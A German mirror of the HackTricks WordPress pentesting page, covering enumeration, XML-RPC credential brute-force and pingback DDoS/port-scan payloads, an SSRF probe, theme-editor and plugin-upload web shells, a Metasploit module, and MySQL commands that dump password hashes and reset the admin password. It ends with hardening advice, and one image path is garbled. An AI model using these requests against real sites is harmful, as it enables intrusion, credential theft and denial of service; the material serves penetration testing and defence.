mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 09:03:30 +00:00
418 lines
22 KiB
Markdown
418 lines
22 KiB
Markdown
# Wordpress
|
|
|
|
<details>
|
|
|
|
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress), um mühelos Workflows zu erstellen und zu **automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
|
|
Heute Zugriff erhalten:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
|
|
|
|
## Grundlegende Informationen
|
|
|
|
**Hochgeladene** Dateien gehen zu: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
|
|
**Themen-Dateien befinden sich in /wp-content/themes/**, daher, wenn Sie etwas PHP des Themas ändern, um RCE zu erhalten, verwenden Sie wahrscheinlich diesen Pfad. Zum Beispiel: Mit dem **Theme twentytwelve** können Sie auf die **404.php**-Datei zugreifen unter: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
|
|
**Eine weitere nützliche URL könnte sein:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
|
|
|
In **wp-config.php** finden Sie das Root-Passwort der Datenbank.
|
|
|
|
Standard-Anmeldewege zum Überprüfen: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
|
|
|
### **Haupt-WordPress-Dateien**
|
|
|
|
* `index.php`
|
|
* `license.txt` enthält nützliche Informationen wie die installierte WordPress-Version.
|
|
* `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Site verwendet.
|
|
* Anmeldungsordner (kann umbenannt werden, um ihn zu verbergen):
|
|
* `/wp-admin/login.php`
|
|
* `/wp-admin/wp-login.php`
|
|
* `/login.php`
|
|
* `/wp-login.php`
|
|
* `xmlrpc.php` ist eine Datei, die eine Funktion von WordPress darstellt, die es ermöglicht, Daten mit HTTP als Transportmechanismus und XML als Codiermechanismus zu übertragen. Diese Art der Kommunikation wurde durch die WordPress [REST-API](https://developer.wordpress.org/rest-api/reference) ersetzt.
|
|
* Der `wp-content`-Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind.
|
|
* `wp-content/uploads/` ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert sind.
|
|
* `wp-includes/` Dies ist das Verzeichnis, in dem Kerndateien wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets gespeichert sind.
|
|
* `wp-sitemap.xml` In Wordpress-Versionen 5.5 und höher generiert Wordpress eine Sitemap-XML-Datei mit allen öffentlichen Beiträgen und öffentlich abfragbaren Beitragstypen und Taxonomien.
|
|
|
|
**Nach der Ausnutzung**
|
|
|
|
* Die Datei `wp-config.php` enthält die von WordPress benötigten Informationen, um eine Verbindung zur Datenbank herzustellen, wie z.B. den Datenbanknamen, den Datenbankhost, Benutzername und Passwort, Authentifizierungsschlüssel und Salze sowie das Datenbanktabellenpräfix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlerbehebung hilfreich sein kann.
|
|
|
|
### Benutzerberechtigungen
|
|
|
|
* **Administrator**
|
|
* **Editor**: Veröffentlicht und verwaltet seine und andere Beiträge
|
|
* **Autor**: Veröffentlicht und verwaltet seine eigenen Beiträge
|
|
* **Mitwirkender**: Schreibt und verwaltet seine Beiträge, kann sie jedoch nicht veröffentlichen
|
|
* **Abonnent**: Durchsucht Beiträge und bearbeitet ihr Profil
|
|
|
|
## **Passive Enumeration**
|
|
|
|
### **WordPress-Version abrufen**
|
|
|
|
Überprüfen Sie, ob Sie die Dateien `/license.txt` oder `/readme.html` finden können
|
|
|
|
Im **Quellcode** der Seite (Beispiel von [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
|
|
|
* grep
|
|
```bash
|
|
curl https://victim.com/ | grep 'content="WordPress'
|
|
```
|
|
* `meta name`
|
|
|
|
![](<../../.gitbook/assets/image (1111).png>)
|
|
|
|
* CSS-Verknüpfungsdateien
|
|
|
|
![](<../../.gitbook/assets/image (533).png>)
|
|
|
|
* JavaScript-Dateien
|
|
|
|
![](<../../.gitbook/assets/image (524).png>)
|
|
|
|
### Plugins abrufen
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
|
```
|
|
{% endcode %}
|
|
|
|
### Themes erhalten
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
|
```
|
|
{% endcode %}
|
|
|
|
### Versionen im Allgemeinen extrahieren
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
|
|
|
```
|
|
{% endcode %}
|
|
|
|
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress), um einfach **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
|
|
Heute Zugriff erhalten:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
|
|
|
|
## Aktive Aufzählung
|
|
|
|
### Plugins und Themes
|
|
|
|
Sie werden wahrscheinlich nicht in der Lage sein, alle möglichen Plugins und Themes zu finden. Um alle von ihnen zu entdecken, müssen Sie eine Liste von Plugins und Themes **aktiv per Brute Force durchsuchen** (hoffentlich gibt es für uns automatisierte Tools, die diese Listen enthalten).
|
|
|
|
### Benutzer
|
|
|
|
**ID-Brute**
|
|
|
|
Sie erhalten gültige Benutzer von einer WordPress-Website, indem Sie Benutzer-IDs **per Brute Force** herausfinden:
|
|
```
|
|
curl -s -I -X GET http://blog.example.com/?author=1
|
|
```
|
|
Wenn die Antworten **200** oder **30X** sind, bedeutet das, dass die ID **gültig** ist. Wenn die Antwort **400** ist, dann ist die ID **ungültig**.
|
|
|
|
**wp-json**
|
|
|
|
Sie können auch versuchen, Informationen über die Benutzer abzurufen, indem Sie Abfragen stellen:
|
|
```
|
|
curl http://blog.example.com/wp-json/wp/v2/users
|
|
```
|
|
Ein weiterer `/wp-json/` Endpunkt, der einige Informationen über Benutzer preisgeben kann, ist:
|
|
```
|
|
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
|
```
|
|
Hinweis: Dieser Endpunkt gibt nur Benutzer preis, die einen Beitrag veröffentlicht haben. **Es werden nur Informationen über Benutzer bereitgestellt, die diese Funktion aktiviert haben**.
|
|
|
|
Bitte beachten Sie auch, dass **/wp-json/wp/v2/pages** IP-Adressen preisgeben könnte.
|
|
|
|
#### Benutzername-Enumeration beim Login
|
|
|
|
Beim Einloggen in **`/wp-login.php`** ist die **Nachricht** unterschiedlich, je nachdem, ob der angegebene **Benutzername existiert oder nicht**.
|
|
|
|
### XML-RPC
|
|
|
|
Wenn `xml-rpc.php` aktiv ist, können Sie ein Anmeldeinformationen-Brute-Force durchführen oder es verwenden, um DoS-Angriffe auf andere Ressourcen zu starten. (Sie können diesen Prozess automatisieren[ mit diesem Tool](https://github.com/relarizky/wpxploit) zum Beispiel).
|
|
|
|
Um zu überprüfen, ob es aktiv ist, versuchen Sie auf _**/xmlrpc.php**_ zuzugreifen und senden Sie diese Anfrage:
|
|
|
|
**Check**
|
|
```markup
|
|
<methodCall>
|
|
<methodName>system.listMethods</methodName>
|
|
<params></params>
|
|
</methodCall>
|
|
```
|
|
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
|
|
|
|
**Anmeldeinformationen Bruteforce**
|
|
|
|
**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die zum Brute-Forcing von Anmeldeinformationen verwendet werden können. Wenn Sie eine davon finden, können Sie etwas Ähnliches senden:
|
|
```markup
|
|
<methodCall>
|
|
<methodName>wp.getUsersBlogs</methodName>
|
|
<params>
|
|
<param><value>admin</value></param>
|
|
<param><value>pass</value></param>
|
|
</params>
|
|
</methodCall>
|
|
```
|
|
Die Nachricht _"Falscher Benutzername oder Passwort"_ sollte in einer Antwort mit dem Code 200 erscheinen, wenn die Anmeldeinformationen ungültig sind.
|
|
|
|
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
|
|
```markup
|
|
<?xml version='1.0' encoding='utf-8'?>
|
|
<methodCall>
|
|
<methodName>wp.uploadFile</methodName>
|
|
<params>
|
|
<param><value><string>1</string></value></param>
|
|
<param><value><string>username</string></value></param>
|
|
<param><value><string>password</string></value></param>
|
|
<param>
|
|
<value>
|
|
<struct>
|
|
<member>
|
|
<name>name</name>
|
|
<value><string>filename.jpg</string></value>
|
|
</member>
|
|
<member>
|
|
<name>type</name>
|
|
<value><string>mime/type</string></value>
|
|
</member>
|
|
<member>
|
|
<name>bits</name>
|
|
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
|
|
</member>
|
|
</struct>
|
|
</value>
|
|
</param>
|
|
</params>
|
|
</methodCall>
|
|
```
|
|
Auch gibt es einen **schnelleren Weg**, um Anmeldedaten mit **`system.multicall`** brute zu zwingen, da Sie mehrere Anmeldedaten mit demselben Request ausprobieren können:
|
|
|
|
<figure><img src="../../.gitbook/assets/image (628).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**2FA umgehen**
|
|
|
|
Diese Methode ist für Programme gedacht und nicht für Menschen und ist alt, daher unterstützt sie keine 2FA. Wenn Sie also gültige Anmeldeinformationen haben, aber der Haupteingang durch 2FA geschützt ist, **können Sie möglicherweise xmlrpc.php missbrauchen, um sich mit diesen Anmeldeinformationen anzumelden und die 2FA zu umgehen**. Beachten Sie, dass Sie nicht alle Aktionen ausführen können, die Sie über die Konsole ausführen können, aber Sie könnten immer noch RCE erreichen, wie es Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s) erklärt.
|
|
|
|
**DDoS oder Port-Scanning**
|
|
|
|
Wenn Sie die Methode _**pingback.ping**_ in der Liste finden können, können Sie Wordpress dazu bringen, eine beliebige Anfrage an einen beliebigen Host/Port zu senden.\
|
|
Dies kann verwendet werden, um **Tausende** von Wordpress-**Websites** zu veranlassen, auf einen **Standort** zuzugreifen (so dass an diesem Standort ein **DDoS** verursacht wird) oder Sie können es verwenden, um **Wordpress** dazu zu bringen, ein internes **Netzwerk** zu **scannen** (Sie können jeden Port angeben).
|
|
```markup
|
|
<methodCall>
|
|
<methodName>pingback.ping</methodName>
|
|
<params><param>
|
|
<value><string>http://<YOUR SERVER >:<port></string></value>
|
|
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
|
|
</value></param></params>
|
|
</methodCall>
|
|
```
|
|
![](../../.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
|
|
|
|
Wenn Sie **faultCode** mit einem Wert **größer** als **0** (17) erhalten, bedeutet dies, dass der Port geöffnet ist.
|
|
|
|
Werfen Sie einen Blick auf die Verwendung von **`system.multicall`** im vorherigen Abschnitt, um zu erfahren, wie Sie diese Methode missbrauchen können, um eine DDoS-Attacke zu verursachen.
|
|
|
|
**DDoS**
|
|
```markup
|
|
<methodCall>
|
|
<methodName>pingback.ping</methodName>
|
|
<params>
|
|
<param><value><string>http://target/</string></value></param>
|
|
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
|
|
</params>
|
|
</methodCall>
|
|
```
|
|
![](<../../.gitbook/assets/image (110).png>)
|
|
|
|
### wp-cron.php DoS
|
|
|
|
Diese Datei befindet sich normalerweise im Stammverzeichnis der Wordpress-Website: **`/wp-cron.php`**\
|
|
Wenn auf diese Datei zugegriffen wird, wird eine "**schwere**" MySQL-Abfrage durchgeführt, die von **Angreifern** genutzt werden könnte, um eine **DoS** zu **verursachen**.\
|
|
Standardmäßig wird die `wp-cron.php` bei jedem Seitenaufruf aufgerufen (immer wenn ein Client eine beliebige Wordpress-Seite anfordert), was auf stark frequentierten Websites Probleme verursachen kann (DoS).
|
|
|
|
Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten Cronjob innerhalb des Hosts zu erstellen, der die erforderlichen Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
|
|
|
|
### /wp-json/oembed/1.0/proxy - SSRF
|
|
|
|
Versuchen Sie, auf _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ zuzugreifen, und die Wordpress-Site kann eine Anfrage an Sie senden.
|
|
|
|
Dies ist die Antwort, wenn es nicht funktioniert:
|
|
|
|
![](<../../.gitbook/assets/image (365).png>)
|
|
|
|
### SSRF
|
|
|
|
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
|
|
|
|
Dieses Tool überprüft, ob die **methodName: pingback.ping** und der Pfad **/wp-json/oembed/1.0/proxy** vorhanden sind, und versucht, sie auszunutzen.
|
|
|
|
### Automatische Tools
|
|
```bash
|
|
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
|
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
|
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
|
```
|
|
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress), um einfach **Workflows zu erstellen** und zu **automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
|
|
Heute Zugriff erhalten:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
|
|
|
|
## Zugriff durch Überschreiben eines Bits erhalten
|
|
|
|
Mehr als ein echter Angriff ist dies eine Kuriosität. In dem CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnten Sie 1 Bit aus einer beliebigen Wordpress-Datei umdrehen. So konnten Sie die Position `5389` der Datei `/var/www/html/wp-includes/user.php` umdrehen, um die NOT (`!`) Operation zu deaktivieren.
|
|
```php
|
|
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
|
return new WP_Error(
|
|
```
|
|
## **Panel RCE**
|
|
|
|
**Ändern eines PHP-Codes aus dem verwendeten Theme (Admin-Anmeldeinformationen erforderlich)**
|
|
|
|
Erscheinungsbild → Design-Editor → 404-Vorlage (rechts)
|
|
|
|
Ändern Sie den Inhalt für eine PHP-Shell:
|
|
|
|
![](<../../.gitbook/assets/image (384).png>)
|
|
|
|
Suchen Sie im Internet, wie Sie auf diese aktualisierte Seite zugreifen können. In diesem Fall müssen Sie hier zugreifen: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
|
|
|
### MSF
|
|
|
|
Sie können verwenden:
|
|
```
|
|
use exploit/unix/webapp/wp_admin_shell_upload
|
|
```
|
|
to get a session.
|
|
|
|
## Plugin RCE
|
|
|
|
### PHP-Plugin
|
|
|
|
Es ist möglicherweise möglich, .php-Dateien als Plugin hochzuladen.\
|
|
Erstellen Sie Ihren PHP-Backdoor beispielsweise mit:
|
|
|
|
![](<../../.gitbook/assets/image (183).png>)
|
|
|
|
Fügen Sie dann ein neues Plugin hinzu:
|
|
|
|
![](<../../.gitbook/assets/image (722).png>)
|
|
|
|
Laden Sie das Plugin hoch und klicken Sie auf Jetzt installieren:
|
|
|
|
![](<../../.gitbook/assets/image (249).png>)
|
|
|
|
Klicken Sie auf Weiter:
|
|
|
|
![](<../../.gitbook/assets/image (70).png>)
|
|
|
|
Dies wird wahrscheinlich anscheinend nichts bewirken, aber wenn Sie zu Medien gehen, sehen Sie Ihre hochgeladene Shell:
|
|
|
|
![](<../../.gitbook/assets/image (462).png>)
|
|
|
|
Greifen Sie darauf zu und Sie sehen die URL zum Ausführen der Reverse-Shell:
|
|
|
|
![](<../../.gitbook/assets/image (1006).png>)
|
|
|
|
### Hochladen und Aktivieren eines bösartigen Plugins
|
|
|
|
Diese Methode beinhaltet die Installation eines bösartigen Plugins, von dem bekannt ist, dass es verwundbar ist und ausgenutzt werden kann, um eine Web-Shell zu erhalten. Dieser Prozess wird über das WordPress-Dashboard wie folgt durchgeführt:
|
|
|
|
1. **Plugin-Erwerb**: Das Plugin wird von einer Quelle wie Exploit DB wie [**hier**](https://www.exploit-db.com/exploits/36374) bezogen.
|
|
2. **Plugin-Installation**:
|
|
* Navigieren Sie zum WordPress-Dashboard, dann zu `Dashboard > Plugins > Plugin hochladen`.
|
|
* Laden Sie die Zip-Datei des heruntergeladenen Plugins hoch.
|
|
3. **Plugin-Aktivierung**: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.
|
|
4. **Ausnutzung**:
|
|
* Mit dem Plugin "reflex-gallery" installiert und aktiviert, kann es ausgenutzt werden, da es als verwundbar bekannt ist.
|
|
* Das Metasploit-Framework bietet einen Exploit für diese Schwachstelle. Durch Laden des entsprechenden Moduls und Ausführen spezifischer Befehle kann eine Meterpreter-Sitzung hergestellt werden, die unbefugten Zugriff auf die Website gewährt.
|
|
* Es sei darauf hingewiesen, dass dies nur eine von vielen Methoden ist, um eine WordPress-Website auszunutzen.
|
|
|
|
Der Inhalt enthält visuelle Hilfsmittel, die die Schritte im WordPress-Dashboard zur Installation und Aktivierung des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise ohne ordnungsgemäße Autorisierung illegal und unethisch ist. Diese Informationen sollten verantwortungsbewusst und nur in einem legalen Kontext verwendet werden, wie z. B. Penetrationstests mit ausdrücklicher Genehmigung.
|
|
|
|
**Für detailliertere Schritte siehe:** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\***](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
|
|
|
## Post-Exploitation
|
|
|
|
Extrahiere Benutzernamen und Passwörter:
|
|
```bash
|
|
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
|
```
|
|
Ändern Sie das Administratorpasswort:
|
|
```bash
|
|
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
|
```
|
|
## WordPress Schutz
|
|
|
|
### Regelmäßige Updates
|
|
|
|
Stellen Sie sicher, dass WordPress, Plugins und Themes auf dem neuesten Stand sind. Bestätigen Sie auch, dass die automatische Aktualisierung in der wp-config.php aktiviert ist:
|
|
```bash
|
|
define( 'WP_AUTO_UPDATE_CORE', true );
|
|
add_filter( 'auto_update_plugin', '__return_true' );
|
|
add_filter( 'auto_update_theme', '__return_true' );
|
|
```
|
|
Auch **nur vertrauenswürdige WordPress-Plugins und -Themes installieren**.
|
|
|
|
### Sicherheits-Plugins
|
|
|
|
* [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
|
* [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
|
* [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
|
|
|
### **Weitere Empfehlungen**
|
|
|
|
* Entfernen Sie den Standardbenutzer **admin**
|
|
* Verwenden Sie **starke Passwörter** und **2FA**
|
|
* Überprüfen Sie regelmäßig die **Berechtigungen** der Benutzer
|
|
* **Begrenzen Sie die Anmeldeversuche**, um Brute-Force-Angriffe zu verhindern
|
|
* Benennen Sie die Datei **`wp-admin.php`** um und erlauben Sie den Zugriff nur intern oder von bestimmten IP-Adressen.
|
|
|
|
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress), um ganz einfach **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
|
|
Heute noch Zugriff erhalten:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Erfahren Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** oder **HackTricks als PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere exklusive Sammlung von [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|